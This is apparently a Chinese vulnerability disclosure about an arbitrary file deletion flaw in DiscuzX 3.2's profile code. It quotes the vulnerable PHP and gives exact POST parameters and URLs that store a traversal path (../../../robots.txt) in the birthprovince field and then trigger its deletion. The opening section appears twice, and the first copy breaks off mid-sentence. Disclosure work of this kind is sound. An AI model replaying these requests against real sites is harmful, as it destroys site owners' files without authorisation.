### 简要描述: DiscuzX 任意文件操作漏洞 ### 详细说明: 漏洞实际上是任意文件删除,但是由于删除的函数容易被定位,所以不方便写在简要描述或标题内。 昨天下载DiscuzX 3.2的代码,在 source/include/spacecp/spacecp_profile.php 中找到以下代码: ``` if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key])) { echo (getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } } } ``` 往上跟发现$_GET['deletefile']没有任何处理,$space[$key]来自 ``` $space = getuserbyuid($_G['uid']); space_merge($space, 'field_home'); space_merge($space, 'profile'); ``` 所以我们需要在$space变量中找到一个存在需要被删除的文件的位置,我用的字段是birthprovince ``` 我们第一次在birthprovince里加上我们要删除的文件然后保存资料,下次我们提交$_GET['deletefile'][birthprovince],那么$space[birthprovince]指向的文件就会被删除。 ``` 也就是说,我们提交birthprovince为../../../robots.txt...
### 简要描述: DiscuzX 任意文件操作漏洞 ### 详细说明: 漏洞实际上是任意文件删除,但是由于删除的函数容易被定位,所以不方便写在简要描述或标题内。 昨天下载DiscuzX 3.2的代码,在 source/include/spacecp/spacecp_profile.php 中找到以下代码: ``` if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key])) { echo (getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } } } ``` 往上跟发现$_GET['deletefile']没有任何处理,$space[$key]来自 ``` $space = getuserbyuid($_G['uid']); space_merge($space, 'field_home'); space_merge($space, 'profile'); ``` 所以我们需要在$space变量中找到一个存在需要被删除的文件的位置,我用的字段是birthprovince ``` 我们第一次在birthprovince里加上我们要删除的文件然后保存资料,下次我们提交$_GET['deletefile'][birthprovince],那么$space[birthprovince]指向的文件就会被删除。 ``` 也就是说,我们提交birthprovince为../../../robots.txt 保存完之后,数据库里的$space['birthprovice']会成为../../../robots.txt,当我们提交$_GET['deletefile'][birthprovince]的时候,会去删除$space['birthprovice']指向的文件。 操作步骤: 那么登陆后提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0 注意,85cf7ef0是你的formhash。 http://localhost/dx/home.php?mod=spacecp&ac=profile&op=base 提示保存成功 这个时候你的birthprovince就是../../../robots.txt,产生的$space['birthprovince']就是../../../robots.txt了。 接下来我们来进行参数的操作,提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0 到 http://localhost/study/dx/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa OK,文件就被顺利删除了。 ### 漏洞证明: 如上面所述。